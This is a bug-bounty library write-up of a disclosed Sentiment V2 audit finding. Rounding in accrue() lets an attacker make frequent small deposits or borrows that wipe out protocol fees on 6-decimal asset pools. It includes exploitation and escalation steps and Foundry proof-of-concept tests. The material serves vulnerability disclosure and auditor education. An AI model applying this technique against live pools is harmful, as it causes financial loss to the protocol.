# Protocol's interestFees + Interest in a pool can be lost because of precision loss when using low-decimal assets like USDT/USDC.

Sentiment V2 accrue() rounds interestFee to zero for 6-decimal assets over short intervals, letting frequent deposits/borrows erase protocol fees.

- Payout: Audit contest
- Severity: medium
- Program: Sentiment
- Found by: valuevalk
- Disclosed: 2024-08-07
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-08-sentiment-v2-judging/issues/448
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-sentiment-v2%3AM-18
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:fee-bypass vuln:precision-loss

**Target:** Lending pool accrue()/simulateAccrue() interest accounting
**Root cause:** feeAssets = interestAccrued.mulDiv(interestFee, 1e18) truncates to 0 when interestAccrued is tiny for 6-decimal assets over short intervals; accrue() still advances pool.lastUpdated, permanently discarding the uncollected fee.
**Steps:**
1. Set defaultInterestFee to 0.01e18 and use a 6-decimal asset (USDC/USDT) in BaseTest.
2. Deposit collateral and borrow ~2000e6 from fixedRatePool2 (1.5% APR).
3. skip(205) seconds, then trigger accrue() via another borrow/deposit.
4. Observe pool.getAssetsOf(fixedRatePool2, feeRecipient) == 0: 100% of fee lost.
5. Repeat every ~40 min (or call accrue() directly, ~33k gas) to sustain ~9% fee loss; scale across pools cheaply.
**How found:** Reading accrue()/simulateAccrue() noticed lastUpdated is checkpointed every call while feeAssets uses mulDiv with 1e18, hypothesizing truncation to zero for low-decimal assets over short intervals; confirmed with a Foundry PoC.
**Exploitation:** Attacker repeatedly calls accrue() (directly or via tiny deposit/borrow) at intervals shorter than the rounding threshold, resetting lastUpdated each time so accrued interestFee truncates to zero; cost is gas only, recoverable via yield on deposits.
**Escalation:** Batch accrue() across many pools (~270k gas for 25 pools) and use direct accrue() calls to minimize gas, sustaining loss indefinitely.
**Insight:** When a checkpoint timestamp advances unconditionally but the derived fee uses integer division, any rounding-to-zero is permanent—audit accrual functions for low-decimal tokens and short intervals, and check whether fee minting can be skipped while state still advances.

## Proof of concept (copied exactly from the original report)

**PoC test showing zero feeShares minted**

```
function testZeroFeesPaid() public {
        //===> Assert 0 total borrows <===
        assertEq(pool.getTotalBorrows(fixedRatePool2), 0);

        //===> Borrow asset1 <===
        testSimpleDepositCollateral(1000 ether);
        borrowFromFixedRatePool();
        assertEq(pool.getTotalBorrows(fixedRatePool2), 5e6); // Borrow 5 USDT ( can be more, but delay has to be lower )

        //===> Skip 45 seconds of time, and borrow again, to call accrue and mint feeShares. <===
        skip(45);
        //Note: This could also be done using deposit (i.e. from Lenders), since we only care about the accrue function.
        borrowFromFixedRatePool();

        // Verify that feeShares minted are 0. So we lost fees between the two borrows.
        assertEq(pool.getAssetsOf(fixedRatePool2, address(this)), 0);

        //===> Try longer period low amounts of feeInterest should accrue. <===
        skip(300);
        borrowFromFixedRatePool();
        assertEq(pool.getAssetsOf(fixedRatePool2, address(this)), 18);
    }
```

**Realistic PoC with 2000 USDT borrow and 1.5% rate**

```
function testZeroFeesPaid() public {
        //===> Assert 0 total borrows <===
        assertEq(pool.getTotalBorrows(fixedRatePool2), 0);

        //===> Setup <===
        testSimpleDepositCollateral(200\_000 ether);
        borrowFromFixedRatePool(2000e6);
        assertEq(pool.getTotalBorrows(fixedRatePool2), 2000e6); // TotalBorrows from pool are 2000\$
        //-------------------

        //===> Skip 3.5 minutes, and borrow again, to call accrue and mint feeShares. <===
        skip(205);
        //Note: This could also be done using deposit (i.e. from Lenders), since we only care about the accrue function.
        borrowFromFixedRatePool(1e6); //Someone borrows whatever \$\$ from the pool, so accrue can be called.

        // Verify that feeShares minted are 0. So we lost 100\% of the fees between the two borrows.
        assertEq(pool.getAssetsOf(fixedRatePool2, address(this)), 0);

        //===> Try longer period - 40 minutes <===
        skip(60 * 40);
        borrowFromFixedRatePool(5e6); // again borrow whatever \$\$ from the pool, so accrue can be called.

        // Very small amount of fee accrued, due to precision loss.
        // Even though its not 100\% loss, its still high loss.
        assertEq(pool.getAssetsOf(fixedRatePool2, address(this)), 21);

        //================================================================================================
        //Now lets compare what should the actual acrued fee would have looked like for this time period.

        //Retrieve accrued interest
        FixedRateModel rateModelOfPool = FixedRateModel(pool.getRateModelFor(fixedRatePool2)); // get the rate model of
        uint256 timeStampLastUpdated = block.timestamp - 60 * 40; // 12 hours period
        uint256 scaledTotalBorrows = pool.getTotalBorrows(fixedRatePool2) * 1e12; // scale to 18 decimals
        uint256 interestAccrued = rateModelOfPool.getInterestAccrued(
            timeStampLastUpdated, scaledTotalBorrows, pool.getTotalAssets(fixedRatePool2)
        );

        //Calculate \% loss of fee, for 25 minutes delay.
        (,,,,, uint256 poolInterestFee,,,,,) = pool.poolDataFor(linearRatePool);
        uint256 feeReal = interestAccrued * poolInterestFee / 1e18;

        assertEq(feeReal, 22\_883\_897\_764\_107);

        //21 is fee with lost precision, scale up to 18 decimals and compare with the real fee.
        // 22883897764107 / 21000000000000 = 1.0897 or 9\% loss of fees.
    }
```

**borrowFromFixedRatePool helper used by PoC**

```
function borrowFromFixedRatePool(
        uint256 borrowAmount
    ) public {
        vm.startPrank(positionOwner);
        bytes memory data = abi.encode(fixedRatePool2, borrowAmount);

        Action memory action = Action({ op: Operation.Borrow, data: data });
        Action[] memory actions = new Action[](1);
        actions[0] = action;
        PositionManager(positionManager).processBatch(position, actions);
    }
```

